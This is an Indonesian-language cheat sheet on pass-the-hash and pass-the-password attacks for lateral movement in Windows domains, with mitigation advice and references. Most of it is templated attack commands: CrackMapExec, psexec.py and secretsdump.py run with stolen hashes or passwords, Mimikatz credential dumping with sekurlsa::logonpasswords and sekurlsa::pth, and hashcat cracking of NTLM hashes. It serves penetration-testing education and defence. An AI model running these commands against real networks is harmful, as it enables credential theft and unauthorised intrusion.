Pass-Attack dapat dilakukan ketika penyerang mendapatkan kredensial korban baik menggunakan user-password atau user-SAM hash. Serangan ini biasanya digunakan untuk melakukan lateral movement.
Tujuan
Prasyarat
- Memiliki kredensial user domain
- Mimikatz
- Impacket
- CrackMapExec (CME)
Pass-the-Hash (PtH)
Pass-The-Hash (PtH) via Remote
1
2
3
| ➜ crackmapexec <smb/winrm/etc> <ip-target/network> -u <user> -H <SAM-hash>
➜ psexec.py <domain>/<user>:<ip-target> -hashes <LMHASH:NTHASH>
➜ secretsdump.py <domain>/<user>:<ip-target> -hashes <LMHASH:NTHASH>
|
Pass-The-Hash (PtH) via Mimikatz
Prasayarat:
- Penyerang mendapatkan SAM hash user
- Penyerang menjadi lokal administrator
- Ada bekas login user domain di komputer korban yang tersimpan di memori.
1
2
3
4
5
6
7
8
| # Membuat log
mimikatz > log passthehash.log
# Mendapatkan hak debug (hak akses lokal admin diperlukan)
mimikatz > privilege::debug
# Dump kredensial yang ada di memori
mimikatz > sekurlsa::logonpasswords
|
1
2
| # PtH dengan mimikatz
mimikatz > sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<NTLM-hash>
|
Pass-the-Password (PtP)
1
2
3
| ➜ crackmapexec <smb/winrm/etc> <ip-target/network> -u <user> -p <password>
➜ psexec.py <domain>/<user>:<password>@<ip-target>
➜ secretsdump.py <domain>/<user>:<password>@<ip-target>
|
Crack-the-Hash
1
| ➜ hashcat -m 1000 pass.hash /usr/share/wordlists/rockyou.txt
|
Mitigasi
Sulit untuk mencegah secara menyeluruh, tetapi kita dapat mempersulit penyerang:
- Limit account re-use:
- Hindari menggunakan kata sandi yang sama untuk lokal admin.
- Menonaktifkan user guest dan administrator.
- Batasi siapa yang seharusnya jadi lokal administrator (least privilege).
- Utilize strong passwords:
- Semakin panjang dan unik semakin baik (>14 karakter).
- Hindari penggunaan kata yang umum.
- Privilege Access Management (PAM)
- Check out/in di akun sensitif bila diperlukan.
- Secara otomatis merubah kata sandi ketika check out dan check in.
Referensi
- https://www.youtube.com/watch?v=bTYR_xYSDIk
- https://adsecurity.org/?page_id=1821